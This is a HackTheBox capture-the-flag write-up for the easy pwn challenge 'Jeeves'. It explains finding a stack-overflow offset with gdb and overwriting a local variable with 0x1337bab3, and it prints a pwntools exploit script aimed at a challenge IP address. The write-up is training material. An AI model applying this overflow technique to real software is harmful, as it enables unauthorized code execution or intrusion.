Jeeves

Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

How are you doing, sir?

Solution Approach

Core idea: Local Variable Overwrite.

Steps

1. First, unzip the .zip file given.

2. Now check the file type.

3. Now, we know it's a binary file.

4. Let's check the binary's protection.

5. Based on it, we know that we can do bufferoverflow concept.

6. Anyway let's run chmod so we can execute the binary file. Then execute the file.

7. Run the file in gdb, and paste 1024 cyclic pattern as the input.

8. Got segmentation fault, now copy all characters from RBP.

9. And check the correct bytes to overflow the buffer by run cylic -l.

10. Great! Now we know the correct bytes to overflow the buffer is 64 bytes, so we need to add 60 padding bytes.

11. Now let's decompile the file using ghidra and check the main() function.

12. Based from the main() function, we need to overwrite the local_c values so to 0x1337bab3 so we can get the flag.

13. To solve this we can convert the hex in little-endian format -> \xb3\xba\x37\x13.

14. Then add them after the 60 bytes.

15. For this solution, i made a python script using pwntools.

THE SCRIPT

 py read-only • copy allowed Copy
from pwn import *
import os

os.system('clear')
context.log_level = 'debug'
#sh = remote('68.183.47.198',31162) #68.183.47.198:31162
sh = process("nc")
sh.sendline("68.183.47.198 31162")
p = b'A' * 60
p += p64(322419379) # 0x1337bab3
#sh.recvuntil("? ")
sh.sendline(p)
sh.interactive()

OUTPUT

1. Got the flag!

Flag

REDACTED

Lessons Learned

1. Local Variable Overwrite.